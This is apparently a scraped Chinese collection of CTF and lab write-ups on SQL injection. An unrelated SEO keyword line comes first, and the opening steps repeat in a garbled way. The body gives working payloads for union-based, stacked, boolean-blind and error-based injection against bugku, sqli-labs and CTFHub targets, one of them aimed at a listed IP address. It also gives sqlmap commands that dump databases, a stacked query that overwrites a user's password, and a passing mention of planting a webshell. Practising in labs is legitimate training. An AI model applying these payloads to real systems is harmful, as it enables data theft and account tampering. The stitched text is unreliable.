网站建设吉金手指专业13,简单个人网站设计,昆明seo工资,django企业级问答网站开发联合查询注入#xff1a;
bugku-这是一个神奇的登录框
手工注入#xff1a; 点吧#xff0c;输入0’发现还是#xff1a; 输入0 发现报错#xff1a; 确定可以注入#xff0c;判断字段有多少个 0order by 1,2,3# 发现#xff1a; 说明有两列。
输入 0
bugku-这是一个神奇的登录框
手工注入 点吧输入0’发现还是 输入0 发现报错 确定可以注入判断字段有多少个 0order by 1,2,3# 发现 说明有两列。
输入 0 union select database(),2# 得到库名 继续输入 0 union select table_name,2 from information_schema.tables where table_schema’bugkusql1’ # 0 union select group_concat(table_name),2 from information_schema.tables where table_schemadatabase()# 得到表名 继续输入 0 union select column_name,2 from information_schema.columns where table_name‘flag1’ # 得到列名 继续输入 0 union select flag1,2 from flag1# (爆字段里的内容中的表明是不加单引号的)得到该列下的值 sqlmap
查看一下源码 是post提交url明显提示是个sql注入由于post提交要sql和burp结合起来使用。
首先burp抓包抓到包后选择存到txt文件中随便输入账号密码 我保存到了D:\1.txt
然后打开sqlmap输入指令sqlmap.py -r D:\1.txt -p admin_name --dbs
解释一下 -r是读文件 后面是刚才保存的绝对路径-p是参数也就是注入点选了admin_name是注入点 --dbs意思是想获取数据库名字
可以看到sqlmap获得了数据库的名字 应该是这个bugkul1再继续爆表命令sqlmap.py -r D:\1.txt -D bugkusql1 -p admin_name --tables
解释-D是表示选择了后面的这个数据库 --tables是想获取表
可以看到爆出了表
应该在flag1这个表里继续爆列名
命令sqlmap.py -r D:\1.txt -D bugkusql1 -T flag1 -p admin_name --columns
解释类似上面 不过加了一个-T 指定表
可以发现爆出了列名
flag1这个列 最后查字段 命令sqlmap.py -r D:\1.txt -D bugkusql1 -T flag1 -C flag1 -p admin_name --dump
解释同上面 --dump是获取字段的命令
在这过程中可能会让你选择Y或者N 我直接回车的
可以看到爆出了flag 堆叠注入
Sqlilabs-less38
根据关卡提示得知 38关 为堆叠注入页面如下。 如果堆叠注入的情况下首先是考虑闭合前面的语句再执行第二个语句;所以构建payload ?id1;第二条SQL语句 -- 或者 ?id1;第二条SQL语句 -- 从页面上直观的看当前显示的用户和密码为 “Dumb/Dumb”,姑且猜测当前用户在表中的两个字段 “username”、“password”;
现在尝试一下爆出数据库、表、列名等相关信息。 尝试得到库名 “security” 尝试获取 “security” 数据库下的表名 得到[emails,referers,uagents,users]
http://139.196.87.102:11207/Less-38/?id1%27%20and%20exp(~(select%20*%20from(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema%27security%27)a));%20--
得到了一个 “users” 表的信息现在看一下 “users” 表的列名 [id,username,password]
http://139.196.87.102:11207/Less-38/?id1%27%20and%20exp(~(select%20*%20from(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name%27users%27)a));%20-- 构造堆叠注入的payload ?id1; update users set password Dumb where username Dumb; -- 这里看到 Dumb 用户的密码被改成了 Dumb001 说明构建的堆叠注入的 payload 利用成功
布尔盲注
ctfhub布尔注入 按照题目意思输入1看看
从这里可以知道
不需要打引号
哦对了我们先应该判断是否有注入点利用真假语句来判断id的值是否可以改变sql语句的变化 通过恒真语句and 11和恒假语句and 12得知id的值可以改变sql语句的走向说明这里存在注入点然后便上网查询一下布尔注入应该要用到哪些函数语句
1 and length(database())4 可以知道数据库名是四个字符的然后利用substr(x,1,1)分割函数来一个个试是什么字符利用ascii的值来判断 可以得知数据库第一个字符的ascii值是大于110的 可以确定第一个字符的ascii值就是115也就是s后面的就不用去猜了肯定就是sqli了 接下来我们利用count函数来判断sqli数据库里有几个表
1 and (select count(table_name) from information_schema.tables where table_schemasqli )3 可以知道少于3张表我们就可以联想到news和flag了方法随便用可以用concat和floor这种方法来判断但是都离不开ascii和count来判断 得知第一个表的第一个字符ascii值大于109
利用sqlmap来得知数据库有哪些
sqlmap.py -u 登录的地址 -dbs
虽然有点时间但是还是比我们手动注入的快的
然后利用sqlmap.py -u 输入地址 -D sqli --tables来获取数据库里面的表
发现两张表flag和news我们可以直接去看字段以及数值了
sqlmap.py -u 地址 -D sqli -T flag --columns --dump 时间盲注
这题自己没摸出来看的网上的wp主要是脚本问题
CTFHUB SQL注入——时间盲注 附自己写的脚本_ctf 时间盲注_Wuuconix的博客-CSDN博客
请 求头注入--postget
自己做的题wpBUGKU CTF——WEB基础 {GET,POST}_get bugku csdn_lulu001128的博客-CSDN博客
sql注入写马
上传一句话木马
报错注入
Sqlilabs-less5 先用万能密码试一下 发现报错可以直接进行报错注入 这里直接查询出数据库名进行下一步操作 当我们再次用updatexml函数进行报错注入时发现提示The used SELECT statements have a different number of columns。 猜测是因为updatexml的最大长度是32位所以换一个函数继续进行注入。 宽字节注入 【ctf】sql注入——宽字节注入_ctf 宽字节注入_甜不拉几的博客-CSDN博客 二次注入 【CTF】二次注入原理及实战_失控的菜鸡玩家的博客-CSDN博客